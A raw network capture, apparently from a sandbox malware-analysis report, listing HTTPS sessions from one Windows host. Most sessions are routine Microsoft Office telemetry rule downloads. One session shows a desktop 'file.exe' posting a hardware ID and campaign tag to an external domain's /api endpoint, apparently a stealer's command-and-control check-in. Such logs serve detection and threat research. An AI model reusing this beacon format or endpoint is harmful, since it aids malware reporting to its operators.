2024-11-19 23:19:11 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:11 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:11 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8753231e-501e-008f-038c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231911Z-185f5d8b95csp6jmhC1NYCwy6s00000009f00000000005wq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:11 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:11 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:11 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:11 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 884d2a23-a01e-00ab-5b8c-3a9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231911Z-1777c6cb754lv4cqhC1TEB13us00000008r000000000eg6v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:11 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:11 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:11 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e579fe48-a01e-001e-648c-3a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231911Z-185f5d8b95cdcwrthC1NYCy5b800000009ag00000000k3ag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:11 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49726	188.114.97.3	443	5128	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:11 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=62N0XG6VUCVMN9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1194 Host: cook-rain.sbs
2024-11-19 23:19:11 UTC	1194	OUT	Data Raw: 2d 2d 36 32 4e 30 58 47 36 56 55 43 56 4d 4e 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 46 35 44 46 36 39 44 36 35 41 45 42 33 41 43 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 36 32 4e 30 58 47 36 56 55 43 56 4d 4e 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 36 32 4e 30 58 47 36 56 55 43 56 4d 4e 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 36 32 Data Ascii: --62N0XG6VUCVMN9Content-Disposition: form-data; name="hwid"DF5DF69D65AEB3AC63CFCF7E6C45F838--62N0XG6VUCVMN9Content-Disposition: form-data; name="pid"1--62N0XG6VUCVMN9Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--62
2024-11-19 23:19:12 UTC	981	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3ki3sjojla9k369ftj0ef7ef9d; expires=Sat, 15-Mar-2025 17:05:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kUiUvA4%2B%2B7%2FifSGZc5p0IsoJijjmyd5FHLGEGVz8V4tNIrl0yKGTGHUGgnZzjmBjKKMSobUQKtXE1tJPHRdMRcZy2hWbw2b2gqRDvhCqK8VJi1qT9PxExk7JUxZEVO9F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e53ec7bce510f77-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2642&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=2104&delivery_rate=1644144&cwnd=252&unsent_bytes=0&cid=6e1285d9c7a25798&ts=506&x=0"
2024-11-19 23:19:12 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-19 23:19:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:11 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:12 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3126d9de-f01e-0099-4d8c-3a9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231912Z-185f5d8b95cjbkr4hC1NYCeu2400000009a00000000057h4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:12 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:11 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:12 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1e988f1d-b01e-0070-1b8c-3a1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231912Z-r1d97b99577sdxndhC1TEBec5n000000083g00000000cn8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:12 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:11 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:12 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231912Z-185f5d8b95cgrrn8hC1NYCgwh4000000099g000000007xp9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:12 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:11 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:12 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 70a275ef-201e-0051-048c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231912Z-1777c6cb754lvj6mhC1TEBke9400000008s000000000nv4m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:12 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:12 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:12 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bfe6cc7a-201e-006e-7e8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231912Z-185f5d8b95csd4bwhC1NYCq7dc000000096g00000000wqdv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:12 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:12 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:12 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231912Z-185f5d8b95csp6jmhC1NYCwy6s00000009e0000000003795 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:12 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:12 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:12 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231912Z-185f5d8b95c95vpshC1NYC759c00000009a000000000rwg8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:12 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:12 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:12 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231912Z-185f5d8b95c4hl5whC1NYCeex0000000096000000000x6tm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
